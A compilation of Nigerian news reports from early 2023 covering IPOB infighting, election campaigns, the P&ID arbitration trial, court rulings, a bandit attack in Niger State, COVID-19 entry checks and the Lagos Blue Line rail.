He wrote: If you want to see the best of Kanunta Kanu, obey Mazi Nnamdi Kanus orders without any hesitation. That is my problem with the cabals @real_IpobDOS. That is the fact, he wrote.

Abraham corroborates Kingsleys claim

Mr Abraham, the factional coordinator for Germany, has also reacted to the suspension.

Mr Abraham, in a statement he issued on Monday, reiterated that Mr Chinedu had been expelled from IPOB by Mr Kanu.

He said: This is to formally notify all members of IPOB family and the general public that Mr. Collins Chinedu was expelled from IPOB by Mazi Nnamdi Kanu.

This was made public and official by Mazi Nnamdi Kanu on the 28th day of November 2022 through Barr. Alloy Ejimakor.

Please, disregard any information coming from him as he is no longer the national coordinator of Germany and neither is he a member of the IPOB family at large so he no longer possess the power or authority to suspend anyone or take any decision on behalf of the family, he added

Mr Abraham further stated that Mr Kanu still remains the highest authority in IPOB and warned against defying his orders.

Need I remind us that Mazi Nnamdi Kanu is and remains the highest authority as far as the present IPOB is concerned?

Every member of IPOB is expected to respect and work under his authority because he has sacrificed a lot for this cause.

We wouldnt be here if he had not stood his ground. His intentions are pure and so is his decisions. So, let all of us keep this in mind before we decide to defy his instructions, he added.

IPOB is leading the agitation for an independent state of Biafra, which it wants carved out from the South-east and some parts of the South-south Nigeria.

Its leader, Mr Kanu, is standing trial in Abuja for alleged terrorism.

Since Mr Kanus arrest and detention, IPOB has struggling to stay united but is seems it is gradually disintegrating from within as some of its leaders battle to outwit one another.

Mr Kanus follower, Simon Ekpa, allegedly broke away last year and formed a parallel group, known as auto pilots which has been accused of carrying out most of the deadly attacks in South-east Nigeria.

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President Muhammadu Buhari Monday in Bauchi restated that he has served Nigeria and Nigerians to the best of his ability, declaring that he had not disappointed anyone.

President Buhari, who was in Bauchi in continuation of the All Progressives Congress (APC) presidential and gubernatorial campaign rallies, spoke during his courtesy call on the Emir of Bauchi, His Royal Highness Rilwanu Adamu.

The president acknowledged the warm reception accorded him and the continued show of love by Nigerians, noting that the huge crowd that welcomed him wherever he went, was a demonstration of genuine love and loyalty.

I normally call on emirs and chiefs, whether on political or personal tours to states to show my gratitude.

I like to mention that between 2003 and 2011, I visited all the local governments, and in 2019, when I was seeking my re-election for a second term, I visited all the States of the Federation and the people that turned out to see me were more than what anyone could buy or force and there, I made a promise and pledge that I will serve Nigeria and Nigerians to the best of my ability and so far, I have not disappointed anybody, he stated.

Earlier in his welcome address, the Emir of Bauchi, remarked that it is delightful when political leaders in modern state system honour the traditional institutions with a courtesy call.

This, the emir noted, was a practical demonstration of love and respect to the traditional institutions.

He thanked President Buhari for the landmark developments which his administration had brought to Bauchi State, declaring that the Kolmani Integrated Project remained a legacy for which Bauchi State and indeed the North East remained grateful.

We cannot thank you enough and we follow the example of our Governor to express our greatest gratitude. We are also pleased that you have kept your promise of reforming the electoral processes through continuous and progressive reforms and by ensuring the independence of the electoral body, of which our son, Professor Mahmood Yakubu is the current head, the emir stated.

Your determination in this and other areas of governance has been an inspiration to all right-thinking people across the country, added the emir.

The president thereafter proceeded to the Abubakar Tafawa Balewa Stadium, in continuation of the APC Presidential and Gubernatorial campaigns where a mammoth crowd awaited him and his entourage.

He then presented the partys presidential flagbearer, Bola Tinubu and his vice, Kashim Shettima, to the electorate in the presence of the Senate President, Ahmad Lawan, Speaker, House of Representatives, Femi Gbajabiamila, the APC National Chairman, Abdullahi Adamu, Governors of Kebbi, Plateau, Borno, Yobe, and Jigawa States, the APC Gubernatorial Candidate in Bauchi State, Sadique Abubakar, as well as other party stalwarts.

Femi Adesina

Special Adviser to the President

(Media & Publicity)

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Nigeria on Monday argued before a London High Court that the country was a victim of bribery and deception in the controversial Process and Industrial Developments (P&ID) gas deal.

Africas largest economy this week seeks to overturn the $11 billion debt judgement awarded in favour of the company.

The P&ID controversy dates back to January 2010 when the company signed a gas supply and processing agreement with the Ministry of Petroleum Resources on behalf of the Nigerian government.

Under the terms of the agreement, P&ID was to build and operate an Accelerated Gas Development project to be located at Adiabo in Odukpani Local Government Area of Cross River State. The Nigerian government was to source natural gas from oil mining leases (OMLs) 123 and 67 operated by Addax Petroleum and supply to P&ID to refine into fuel suitable for power generation in the country.

However, P&ID alleged that after signing the agreement, the Nigerian government reneged on its obligation after negotiations were opened with the Cross River State government for allocation of land for the project.

The company said the failure to construct the pipeline system to supply the gas frustrated the construction of the gas project, thereby depriving it of the potential benefits from over 20 years worth of gas supplies.

It added that attempts to settle out-of-court with the Nigerian government failed.

Background

In August 2012, P&ID served the Nigerian government a Request for Arbitration but Nigeria argued before the tribunal that the failure of P&ID to acquire the site and build Gas Processing Facilities was a fundamental breach and that no gas could be delivered until this has been done.

The tribunal ruled that Nigerias obligations under Article 6B were not conditional upon P&ID having constructed the gas processing facilities.

In the tribunals eventual verdict, the damage suffered by P&ID was the loss of net income the company would have received if the government kept its side of the contract. Two members of the three-man tribunal, Lord Hoffmann and Anthony Evans, held that P&IDs expenditure and income should have been about $6.597 billion if the GSPA was duly performed by the government.

Both officials said the award should be paid together with interest at the rate of 7 per cent from March 20, 2013.

The other member, who is Nigerias former Attorney-General and Minister of Justice, Bayo Ojo, in his minority ruling, said although P&ID was entitled to compensation for the breach, its damages could not have been more than three years from the date of the alleged breach. Apart from being a new company incorporated in 2006, Mr Ojo noted the project could not have started yielding benefits earlier than 2015.

In September 2020, the Nigerian government secured a judgement of a British court to suspend the unfavourable ruling over the scandal. A commercial court in the United Kingdom granted Nigerias appeal for a stay of execution of the award of $8.9 billion (about N3.2 trillion) in favour of P&ID.

The interest has now grown to just over $11 billion, or around 30 per cent of Nigerias foreign exchange reserves, according to Reuters.

Trial

On Monday, at the start of an eight-week trial in Londons high court, Mark Howard, a lawyer representing Nigeria, told the court that P&ID obtained its contract by telling repeated lies and paying bribes to officials.

As a result, the lawyer claimed that P&ID corrupted Nigerias lawyers to obtain confidential documents during the arbitration, Reuters reported.

Mr Howard noted in court documents that P&ID paid bribes and relied on false evidence to dupe (Nigeria), the tribunal and this court into giving P&ID an extraordinary amount of money on the back of a campaign of bribery, corruption and deception.

The company, however, said the gas processing agreement was a genuine contract which P&ID genuinely wanted to perform.

In court documents, P&ID lawyer, David Wolfson, said Nigerias loss in the arbitration had nothing to do with any corruption.

Mr Wolfson will make opening arguments on behalf of P&ID on Tuesday.

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The All Progressives Congress (APC) Asiwaju/Shettima Presidential Campaign Council (PCC) on Tuesday said Najaatu Mohammed, its former head of civil society organisations directorate, was sacked due to incompetence and for leaking vital information.

Mahmud Jega, Adviser Public Affairs, Tinubu Media Office, said this in a statement in Abuja.

Mr Jega described Ms Mohammeds resignation as hasty and preemptive after the campaign council had discovered her leakage of sensitive information to opposition political parties.

He charged APC supporters to ignore the antics of political jobbers like Ms Mohammed and concentrate on delivering the Tinubu-Shettima presidential ticket in the coming presidential election.

The News Agency of Nigeria (NAN) reports that Ms Mohammed, who claimed to have resigned from her position on Saturday, also alleged that Mr Tinubu is suffering from dementia.

The Asiwaju/Shettima Presidential Campaign Council received with amusement the hasty resignation of Hajiya Najaatu Mohammed from her position as Director of Civil Society Organisations.

This was just before she was sacked for incompetence, quarrelsomeness and after being uncovered to be a mole planted in the winning campaign council to leak sensitive information to our desperate opponents, Mr Jega said.

He said Ms Mohammed had succeeded in deceiving the gullible public by claiming that she resigned, when her sack letter had arrived at her desk.

He added that her desperate, fact-free, machination-filled and imaginary utterances since her sack from the PCC had proved beyond doubt that she was unfit to serve in the first place, until it was discovered that she was actually a mole.

Not being a medical doctor but one whose profession in the last three decades was as a political jobber and expert name dropper.

She nevertheless issued a pseudo-medical report on our presidential candidate, Asiwaju Bola Tinubu, after a brief meeting in London.

Even the association of native doctors would sack her for quackery and for reaching a medical conclusion without any test, Mr Jega said.

He added that in contrast to Ms Mohammeds claim; Mr Tinubu had been running the most promising campaign schedule than any of the presidential candidates.

According to Mr Jega, Mr Tinubus stamina had taken him to many parts of the country; with an almost non-stop schedule of political rallies, town hall meetings with business and cultural stakeholders.

On her claim that Mr Tinubu has no plan for the North, Mr Jega said Hajiya Najaatu Mohammed claimed that when she asked Asiwaju what plans he had for the North, he answered that he had none, this is strange and questions the integrity of the woman and her story.

He said that Mr Tinubu had unfolded an action plan for the whole country, in which problems bedeviling the North got a very comprehensive attention.

The APC PCC Adviser Public Affairs recalled that Mr Tinubu also attended the Arewa Summit in 2022 where he unfolded and elaborated on his action plan and programs.

As conclusive proof of her unstable and unreliable character. Najaatu said in her pre-emptive resignation letter that she was quitting party politics as the political parties have no ideological differences and her values and beliefs no longer align with party politics.

Within a day, pictures surfaced in the media showing her meeting with Alhaji Atiku Abubakar, the Peoples Democratic Party (PDP) presidential candidate and declaring her support for him, he said.

He added that Nigerians must be wondering what kind of values and beliefs she has apart from opportunism, selfishness and greed.

We were least surprised about her dramatic exit, coming after she went on television to disparage our party and President Muhammadu Buhari, only a mole could behave in such a manner.

We urge our supporters across the country to ignore the antics of this political soldier of fortune and concentrate on the job of delivering the Tinubu/Shettima ticket at the polls in barely a month from now, Mr Jega said.

(NAN)

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Following the recent upsurge in COVID-19 cases in China, Japan, the United States (U.S.) and other countries, the Nigerian government has announced that international travellers to Nigeria are now required to show evidence of COVID-19 vaccination.

The Director of Port Health Services, Geoffrey Okatubo, disclosed this Monday during a media briefing at the Federal Ministry of Health in Abuja.

The Nigerian government had in December 2022 ordered the relaxation of COVID-19 safety measures and travel advisory, including the suspension of all pre-departure, pre-boarding and post-arrival PCR test requirements.

It also noted that the compulsory use of face masks in public spaces and restrictions on mass gatherings are now optional, adding that passengers will no longer be required to upload evidence of vaccination on the Nigeria International Travel Portal (NITP).

Resumed checks

Speaking further, Mr Okatubo said port health services had heightened surveillance at points of entry for travellers from China, Japan, and the United States.

Port health services have resumed checks of passengers vaccination status and will provide traffic data on inbound passengers from all over the world, he said.

All international travellers arriving in Nigeria are now to provide evidence of vaccination at the point of entry and it was agreed that unvaccinated passengers arriving from other countries may have to be vaccinated at the airport.

READ ALSO:

The minister of health also recently approved that port health services should meet with other stakeholders such as the NCDC, and the ministry of aviation over the use of rapid diagnostic testing at points of entry.

Vaccination update

Also speaking at the briefing, The Executive Director of the National Primary Healthcare Development Agency (NPHCDA), Faisal Shuaib, said as of 20 January, Nigeria had fully vaccinated 65,176,784 persons, while 77,070,988 eligible persons have taken at least one dose of the vaccine.

He added that a total of 10,390,911 persons have received booster doses.

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The Police Service Commission (PSC) says it will not extend the tenure of any retiring senior police officer because of the conduct of the 2023 general elections.

The Head of Press and Public Relations of PSC, Ikechukwu Ani, said this in a statement on Tuesday in Abuja.

He added that the commission had taken a decision that it would not extend the tenure of any retiring senior police officers, even if on request.

According to him, the commission cannot grant such extension because it is against all existing laws, Police Act, PSC Act and the Constitution.

The Nigeria Police have capable men and women who should be encouraged to step into the vacancies that will be created by the exiting officers.

There is an institutional succession plan in the Nigeria Police with the current injection of 10,000 Constables and several other thousands of cadet ASPs from the Police Academy annually, he said.

Mr Ani said the clarification followed conversations in the media on whether the tenure of retiring senior officers would be elongated on ground of security ahead of the 2023 general elections.

The commission has watched with keen interest the conversation in the media on whether retiring senior police officers tenure should be elongated or not because of its effect on the 2023 election security, he said.

He said the ongoing campaign for the extension of the tenures of some Deputy Inspectors-General (DIGs), Assistant Inspectors-General (AIGs), Commissioners of Police (CPs) and other senior police officers were unnecessary distractions.

Mr Ani said the discussions were an affront on all the existing laws in the country guiding entry and exit in the public service.

He pledged the commitment of the commission to ensure that no vacuum was created in the hierarchy of the police with the touted retirement of hundreds of senior police officers.

Mr Ani said the commission had taken a decision to rigidly uphold the provisions of the law.

He said the law had stipulated that a serving public officer, whether in the police or in any other government agency, must exit the service at the age of 60 or having served for a period of 35 years.

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The commission will not encourage the subversion of the laws guiding entry and exit into the Nigeria Public Service.

The retiring senior police officers are not indispensable and their exit will not in any way or manner affect the success of the 2023 general elections, he added.

(NAN)

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President Muhammadu Buhari commissioned the 13- kilometre metro line first phase of the Lagos Blue Rail Line (Marina-Mile 2) on Tuesday.

The Blue Line is expected to be 27 kilometre long, connecting Okokomaiko to Marina.

Mr Buhari, who is on a two-day visit to Lagos, had commissioned the rice mill and Lekki Deep Sea Port on the first day of the visit on Monday.

The president was accompanied to the event at Marina Train Station, in the Outer Marina area of the state, by the state governor, Babajide Sanwo-Olu, Minister of information, Lai Muhammed; the Chinese ambassador to Nigeria, Cui Jianchun and many other dignitaries.

The elevated train network was proposed in 1983 during the Second Republic administration of Governor Lateef Jakande but the construction was only flagged off 20 years later in 2003.

The construction was undertaken by the China Civil Engineering Construction Company, a subsidiary of China Railway Construction Corporation.

According to the state government, the train in its first phase will transport 250,000 passengers daily and when completed, the entire 27km will transport about 500,000 passengers daily.

The first phase (Marina -Mile 2) has five stations -The Marina Iconic station, National Theatre, Iganmu, Alaba and Orile stations.

Once it becomes operational, riders will be able to use the state governments cowry card to access the train.

At the event, Governor Sanwo-Olu signed a document to kickstart the second phase of the Blue rail project (Mile 2 Okokomaiko).

The president, alongside the dignitaries and journalists, took a tour on the train, moving from the Marina station to the National Theatre and back.

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The spokesperson of the Lagos Metropolitan Transport Agency (LAMATA), Kolawole Ojelabi, told PREMIUM TIMES that the train is still under trial and would kickstart in late March or first week of April.

He said that the fare has not been decided. When asked the cost of the project, he directed this reporter to the state ministry of finance.

The train is expected to ease traffic in the often gridlocked metropolis.

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The Court of Appeal in Makurdi, Benue State, has ordered the All Progressives Congress (APC) to conduct a fresh governorship primary election in 11 out of the 23 local council areas of the state.

Delivering judgement in an appeal filed by Terhemba Shija, an aggrieved governorship aspirant on the APC platform in Benue State, the appellate court held that the party failed to conduct valid primary election in the 11 local government areas of the state on 27 May 2022.

ThisDay reported that the court delivered the judgement on Monday.

A Roman Catholic priest, Hyacinth Alia, had emerged as the governorship candidate of the APC in the now discredited primary election.

But with the Court of Appeals judgement, it implies that the APC is yet to have a governorship candidate in Benue State.

Mohammed Danjuma who read the lead judgement of the three-member panel of the Court of Appeal, ordered that the result of the rerun be added to the earlier results from the 12 other councils areas where the poll was adjudged valid by the court.

The 11 councils where the court ordered fresh primary election to be held are: Gboko, Gwer-East, Gwer-West, Guma, Katsina, Logo, Makurdi, Otukpo, Ukum, Tarka and Vandeikya.

In the interest of justice, I cannot allow those voters in the remaining 11 local governments to be disenfranchised, therefore, APC should go back and conduct election in 11 local governments within 14 days and INEC should recognise the winner after adding both earlier primary results, Mr Mohammed held.

Court dismisses suit against APC

Mr Alia has faced multiple legal actions challenging his candidacy for the 11 March governorship poll on the platform of the APC.

In another suit filed by Barnabas Gemade, a former senator, the Court of Appeal upheld the verdict of the Federal High Court, Makurdi, which earlier dismissed the suit against Mr Alia for being statute-barred.

Similarly, the appellate court dismissed an appeal filed by the PDP against the APC House of Assembly candidates and House of Representatives candidates in Benue.

The court said the PDP had no right to meddle in the internal affairs of the APC or any other political party.

Shortly after the ruling, Mr Alia promised to abide by the judgement of the court.

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He urged his supporters to be law-abiding.

We are law-abiding citizens and respect the judgment of the court; (we are) appealing to our teeming supporters to remain calm.

We are still going to be on the ballot, Mr Alia told APC supporters.

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President Muhammadu Buhari has appointed Solomon Arase, a former Inspector-General of Police, as the Chairman of the Police Service Commission (PSC).

The president made this known in a letter to the Senate on Tuesday wherein he sought the lawmakers confirmation of the former IGP.

In the letter read out by the Senate President Ahmad Lawan, the president said the appointment and request for Senate confirmation is in accordance with Sections 153(1) and 154(1) of the 1999 Constitution as amended.

Mr Arase, who hails from Edo State, retired as the head of the Nigeria Police about a year after Mr Buhari assumed office.

He was appointed by former president Goodluck Jonathan.

If confirmed, Mr Arase will succeed Musiliu Smith, another former IGP who resigned under controversial circumstances last year.

Following the latters resignation, a retired judge, Clara Ogunbiyi, assumed the office in acting capacity.

Profile

Before his appointment as IGP, Mr Arase was head of the topmost intelligence gathering unit of the Nigerian Police, the Criminal Intelligence and Investigation Bureau.

Born in 1956 in Edo State, he attended Ahmadu Bello University and graduated with a political science degree in 1980. He was recruited into the Nigerian Police a year after on 1 December, 1981.

Mr Arase served in various capacities  as Commissioner of Police in Akwa Ibom State as well and in the intelligence gathering unit as Assistant Inspector General of Police He is a Fellow of the Nigerian Defence Academy and had served in Namibia during the United Nations peacekeeping operation.

Meanwhile, in a separate letter, the president asked the Senate to confirm the reappointment of Mahmud Isa as Resident Electoral Commissioner (REC) of the Independent National Electoral Commission (INEC) for Kebbi State and the new appointment of Sani Ali for the same position for Ondo State.

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The National Industrial Court in Abuja on Tuesday ordered the reinstatement of an officer of the Nigeria Immigration Service (NIS), Daniel Makolo, who was illegally dismissed by the immediate-past Comptroller General (CG) of the service, Mohammed Babandede.

Delivering judgement in the suit filed by Mr Makolo to challenge his dismissal, the judge, Edith Agbakoba, deprecated the NIS on the watch of Mr Babandede for suspending and later dismissing the officer without just cause.

The judge described the action of Mr Babandede who retired in September 2021 as lawless.

Illegal dismissal

Mr Makolo was a Chief Superintendent of Immigration (CSI), when he was suspended on 7 November 2017 for querying the legality of some policy decisions by the Mr Babandede-led NIS.

Prior to his suspension he was disallowed from participating in promotion examinations for years.

His salary was stopped from the time of his suspension.

He was later dismissed via a letter, dated 25 April 2018 with the dismissal backdated to take effect from the time of his suspension in 2017.

The NIS anchored his dismissal on allegations of insubordination and making false claims against governments official levelled against him.

But Mr Makolo would later say in series of legal actions he filed to get justice that he was never accorded any form of fair hearing or subjected to investigations on any of the allegations levelled against him.

He said in his suit that the failure of the authorities to investigate or hear from him before dismissing in a malicious manner violated natural justice, the provisions of the Nigerian constitution and the public service rules.

In his suit marked NICN/ABJ/337/2020, Mr Makolo sued the Minister of Interior (in his capacity as the Chairman of the Civil Defence, Correctional, Fire and Immigration Services Board (CDFIPSB), CDFIPSB, the CG-NIS, NIS, the Head of Service of the Federation and the Attorney General of the Federation (AGF).

Order of reinstatement

Delivering judgement on Tuesday, Ms Agbakoba, expressed displeasure with the NIS for going ahead to suspend Mr Makolo in violation of the courts order directing parties to maintain status quo.

She ruled that the NIS acted unlawfully by suspending Mr Makolo) because he sued the organisation.

The order in voiding the claimants dismissal, Justice Agbakoba held that the defendants failed to comply with the relevant provisions of the Public Service Rules in the way they went about dismissing him.

She held that Mr Makolos employment with the NIS was with statutory flavour and that the issues of discipline and termination of such employment must always be in line with the provisions of the law.

Ms Agbakoba ruled that Mr Makolo was suspended and dismissed in violation of the provisions of the Public Service Rules, and therefore was null and void.

The judge, among others, ordered the claimants reinstatement within 30 days from Tuesday, the day the judgement was delivered.

She specifically made an order reinstating the claimant to the employment of the defendants without loss of rank, position or privileges as his contemporaries still in the defendants service are now Deputy Comptroller-Generals of the 4th defendants (NIS).

She made another order directing the defendants to forthwith pay the claimant all his outstanding salaries, emoluments, allowances and other entitlements due to him from November 7th, 2017 when his salary was stopped unlawfully, till when the claimant is fully reinstated to the employment of the 4th defendant without loss of rank, position and privileges as his contemporaries still in the service of the defendants.

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A few days after the Court of Appeal in Abuja ruled that Akanimo Udofia, and not Ita Enang, was the governorship candidate of the All Progressives Congress (APC) for the 2023 election in Akwa Ibom State, a letter has surfaced online showing that the APC may have expelled Mr Enang from the party.

Mr Enang is a former adviser to President Muhammadu Buhari.

The letter, signed by the APC Chairperson in Akwa Ibom, Stephen Ntukekpo, dated 24 January 2023 and addressed to the chairperson of the APC in Mr Enangs ward in Ibiono Ibom Local Government Area of the state, said Mr Enang was expelled because of his litigation over the party governorship ticket.

Mr Enang, a former senator, is going to the Supreme Court to challenge the Court of Appeal judgment on the Akwa Ibom APC governorship ticket.

The APC accused Mr Enang of working secretly for the Peoples Democratic Party.

Mr Ntukekpo, in the letter, said the State Working Committee of the APC acted on a petition written against Mr Enang.

The expulsion letter is genuine, Mr Ntukekpo told PREMIUM TIMES, Tuesday evening.

Mr Enang, however, told this newspaper he was not aware of his expulsion.

PREMIUM TIMES spoke with the APC governorship candidate in the state, Mr Udofia, about the development, and asked him if Mr Enangs expulsion was not likely to cause more crisis in the party.

I dont know why you are asking me that question. Its a party affair. I guess the party Exco would be in a better place to answer that question, he responded.

They did whatever they did for whatever reason.

I am not aware Ita Enang was working for the APC. Ita Enang is a hired mole. Anyway, thats his problem. The party will deal with it, he added.

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Asaba, the Delta State capital, stood still on Tuesday as supporters of the Peoples Democratic Party (PDP) turned out en-masse to grace the partys presidential campaign in the town.

The News Agency of Nigeria (NAN) reports that the over 25,000- capacity Stephen Keshi Stadium, the venue of the rally, overflowed with party supporters while those outside the stadium outnumbered those within.

Addressing the rally, the PDP presidential candidate, Atiku Abubakar, lauded the large turnout and urged those in attendance to convert their support to vote for the party massively.

He thanked the people of Delta for their resolute commitment to the PDP since 1999 and urged them to continue to support the party.

He assured that the support which informed his decision to choose Delta State governor, Ifeanyi Okowa, as his running mate was part of his commitment to reward the state and Niger Delta in general.

He said his administration would devolve power to states to enable them to control their resources, stressing that the sacrifices of Delta and the Niger Delta would be rewarded.

Atiku said he was not in Delta to campaign but to show gratitude to the people for supporting the party since 1999 till date.

Delta and indeed all Niger Delta have never failed me; you have supported me all through and I shall not betray that trust.

It is because of the support that I chose one of your own in the person of Governor Okowa as my running mate, he said.

He called on the people to support the party and vote en-masse for PDP to ensure the realisation of the partys agenda.

Atiku pledged to end strikes in tertiary institutions to ensure a credible and functional education system in the country.

He also pledged to grow the economy through massive industrialisation; ensure the security of life and properties and resource control.

With me as president, I want to assure you that there will be no more strikes by ASUU.

Also, we shall devolve power to the states; there will be resource control and you as the Niger Delta shall benefit from that policy.

Security is paramount; it is our responsibility and commitment to secure this country to enable businesses to thrive.

Since 1999, Delta has remained a PDP state and it has continued to enjoy the dividends of good governance.

You must believe in PDP to deepen development and grow our economy to become the largest economy on the continent, Atiku said.

On his part, Mr Okowa charged PDP supporters to convert the large turnout to votes by collecting their Permanent Voter Cards (PVCs) by voting for all PDP candidates.

He said the large turnout by youth and others was impressive and since Delta is the choice for vice president, the people should appreciate Atiku with a large number of votes.

We have been looking for a president with capacity, knowledge and experience; Atiku fits in and he is the man to reset the countys economy, Mr Okowa said.

In his remarks, the Chairman of the Presidential Campaign Council, Governor Udom Emmanuel of Akwa Ibom State, charged the people to affirm their support by voting for PDP.

Director-General of the PDP Presidential Campaign Organisation and Sokoto State governor, Aminu Tambuwal, and Governor Godwin Obaseki of Edo State, also echoed the same view.

According to Mr Emmanuel, the rally was to celebrate victory as Delta and the Niger Delta will poll more than five million votes for the PDP.

I am certain that with Atiku and Okowa as president and vice-president, respectively, international oil companies that left Warri and other parts of the Niger Delta region will return.

Mr Obaseki pledged the resolve of Edo people to poll 1.5 million votes for the Atiku-Okowa ticket.

Mr Tambuwal said PDP leaders are managers of human, institutions and resources and that a vote for Atiku-Okowa would be rewarding.

The partys National Chairman, Iyorchia Ayu, who later received some defectors from the All Progressive Congress (APC), All Progressives Grand Alliance (APGA), and Labour Party (LP), noted that Delta remained a one-party state.

We are sure that you will all come out en-masse to vote PDP all through in February and Mach elections.

In their separate remarks, the partys governorship candidate in Delta, Sheriff Oborevwori; former Governor Emmanuel Uduaghan and the Minority Leader, House of Representatives, Ndudi Elumelu, thanked Atiku for the choice of Mr Okowa as running mate.

They pledged the states resolve to deliver massive votes for the party during the elections.

The News Agency of Nigeria (NAN) reports that the rally provided opportunities for food and drinks vendors, POS agents and others to make brisk businesses.

(NAN)

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Policy makers and stakeholders in the digital economy ecosystem in the West African sub-region will converge in Abuja from 31 January to 1 February for the Digital Economy Regional Conference to discuss the future of digital economy and intensify regional public private partnerships for the region.

A statement by the Director, Public Affairs of Nigerian Communications Commission (NCC), Mr Reuben Muoka said the event is being hosted by the Ministry of Communications and Digital Economy on behalf of the Federal Government of Nigeria, in collaboration with the World Bank.

The Minister of Communications and Digital Economy, Prof. Isa Ali Ibrahim Pantami, who will deliver the keynote address at the event will be joined by his Federal Capital Territory (FCT) counterpart, Mohammed Bello, to welcome Ministers and top government officials from the sub region.

The Conference, with the theme Positioning West Africas Digital Economy for the Future, will provide a platform for countries in the region to discuss issues that will strengthen the digital economies in West Africa and by extension the continent.

The Ministry of Communications and Digital Economy said the conference will also create an avenue for peer review to accelerate digital transformation and increase collaboration to secure partnerships within the region to strengthen the innovation and entrepreneurial ecosystem while intensifying regional public-private partnerships for digital economy funding, research, and development.

It is expected that the gathering will also provide an opportunity to showcase the progress made in the development of digital economy in the West African sub-region, identify winning strategies, discuss challenges, and prepare for the future in addition to creating awareness of the regions needs in the areas of policies and framework for the digital economy and attracting private sponsors for digital transformation in the region.

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Terrorists who attacked Gwada town in Shiroro Local Government of Niger State have killed three people and abducted three others.

The assailants attacked seven villages in the area forcing residents to flee from their homes for the relative safety of Gwada Secondary School.

Salis Sabo, the spokesperson of the Coalition of Shiroro Associations (COSA) said the attack lasted for more than five hours.

Those bandits entered more than seven villages, shooting; many people got injured while running for their lives.

They attacked villages like Chiri, Kadna, Kam, Vemu, and other adjoining villages along the Zumba-Gwada Road for over five hours without any help from the police or any law enforcement agent, he added.

Mr Sabo said the Shiroro Local Government Area Chairman, Akilu Kuta, narrowly escaped being kidnapped. He, however, said the terrorists killed the councillor of Allawa ward.

Mr Sabo said a woman and her daughter-in-law were abducted in Bmanape community, while the third victim was abducted in Kadna.

The attack is believed to have been planned to rustle cattle. However, while trying to move the cattle , the bandits blocked the highway at Egwa village where many innocent victims were caught in their web.

Mr Sabo stated that the terrorists emptied the food barns of the villagers and rustled cattle in large numbers.

He urged the government to perform its duty of protecting lives and properties of citizens.

When contacted, the state Commissioner for Internal Security and Humanitarian Affairs, Emmanuel Umar, confirmed the incident, affirming that two civilians were killed, while some military officers sustained injuries.

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The commissioner said, We are yet to determine the exact number of casualties, but I can tell you that some of our security operatives sustained gunshot wounds in the course of engaging them.

Mr Umar said one of the terrorists was arrested by the security agents and the government is committed to bringing peace to the community.

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The Independent National Electoral Commission (INEC) in Kano State said they have so far distributed 76 per cent of Permanent Voters Cards (PVCs) to voters across the state.

The distribution exercise was conducted at the 484 political wards in the 44 local government areas of the state.

The INECs spokesperson in Kano, Adam Maulud, told PREMIUM TIMES on Tuesday that the distribution exercise has now reverted to the INEC offices across the 44 local government areas of the state.

Mr Maulud said as of 20 January, the INEC distributed 386,726 of the total 511,105 PVCs received in the state.

We have so far distributed 386,726 which is 76 per cent collected at the ward level distribution as of 20th January. There are 124,379 that are yet to be collected which is 24 per cent.

The INEC on Monday reverted to the distribution of the PVCs to INEC local government headquarters for the continuation of the distribution of the PVCs at the local government level.

The distribution of the PVCs at the 484 political wards in Kano has been concluded and the process will continue at the 44 local government INEC offices across the state, Mr Maulud added.

He said the distribution exercise also takes place on Saturday and Sunday and will continue until 29 January.

Meanwhile, the official said those who complained about to getting their PVCs may have fallen into the category of people who did double registration.

He said the INEC has cancelled over 2 million double registration across the country.

Anyone whose PVC was damaged has not complained to the INEC for the damaged card but went ahead and do (sic) a new PVC in the recent continuous voter registration should consider his/herself as a double voter registrant which is a crime and will not get PVCs, Mr Maulud said.

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The police in Kano State on Tuesday arrested a suspect for offering officers N1 million bribe to secure the release of a kidnap suspect.

The commands spokesperson, Abdullahi Kiyawa, in a statement to reporters, said the suspect, Bamuwa Umaru, 62, was arrested on 16th December last year at Sabon Gari Local Government Area of Kaduna State.

He approached the officer in charge of Anti-Kidnapping Squad, State Criminal Investigation Department, Kano State Command, Aliyu Mohammed, a superintendent of police and offered him the sum of one million naira as bribe, Mr Kiyawa said.

The bribe was meant to secure the release of one Yusuf Ibrahim, 27, of Danjibga Village, Tsafe Local Government Area, Zamfara State, a suspected kidnapper arrested at Rijiyar Zaki Motor Park Kano.

Yusuf Ibrahim was arrested by a team of Operation Restore Peace led by Usman Abdullahi, (a Chief Superintendent of Police) in charge of Rijiyar Zaki Division Kano.

The suspect was arrested after he was identified by a driver they kidnapped along Funtuwa-Gusau Road, and collected the sum of N500,000 as ransom before his release.

On preliminary investigation, the (earlier) suspect confessed to the crime and further confessed to having participated in a series of kidnappings at Scheme, Yankara, Askari and Kucheri Villages in Katsina and Zamfara states respectively.

He further confessed that their syndicate members killed about ten (10) of their kidnapped victims, and he alone killed two (2) of the victims. Suspects will be charged to court upon completion of the investigation.

The Commissioner of Police, Kano State Command, Mamman Dauda, appreciates the good people of the Kano State, other Security Agencies, the Media, Vigilante Groups and the Commands Community Policing Stakeholders for their prayers, support, encouragement and cooperation, Mr Kiyawa said.

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Four out of the 1,500 teachers sacked by Osun State Governor, Ademola Adeleke, late last year have reportedly died from depression.

The teachers were recruited in the last months of the administration of the immediate past governor of the state, Gboyega Oyetola.

However, at his inauguration, Mr Adeleke announced the dismissal of the teachers on the ground that their employment process was illegal.

He said his predecessor had laid a booby trap for his his government through their recruitment.

On Monday, the coordinator of an association of the sacked teachers, Wasiu Owoyemi, announced the death of the four teachers at a press briefing in Osogbo.

He attributed the deaths to effects of the nullification of their appointment.

Mr Owoyemi, who spoke on behalf of the sacked teachers, pleaded with the state government to reconsider its decision on their employment.

He said many of them had resigned from their previous jobs when they got a notification that they were employed.

Your Excellency sir, it will be of great concern to know that the effect of nullifying our appointments as class teachers had already been felt as we have recorded no fewer than 4 deaths among us as a result of depression of nullifying the appointment as class teachers, he said.

We have resigned our work engagements with previous employers of labour. Hence, we have no other places to go other than this offer. We pray our hopes will not be dashed as we rely heavily on this job. We do not want to be subjects of ridicule and mockery to our previous employers any longer and colleagues who were not part of the recruitment process or those who ridicule us as jobless graduates, he pleaded.

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Your Excellency sir, save our soul and have mercy on us. We are your children and siblings. There are great numbers of dependents on us. Nullifying or terminating our appointments at such a time like this is like being thrown into the sea of hopelessness.

Your Excellency Sir, we can feel your concern or reservation on certain actions taken by the past administration. However, it will be a great honor if our plights and appeals are given favorable considerations.

Reacting, the Special Assistant on Community Communications to the state governor, Tunde Busari, said there is no going back on the sack of the former teachers.

Mr Busari, in a statement, said the affected teachers were smuggled into the state payroll.

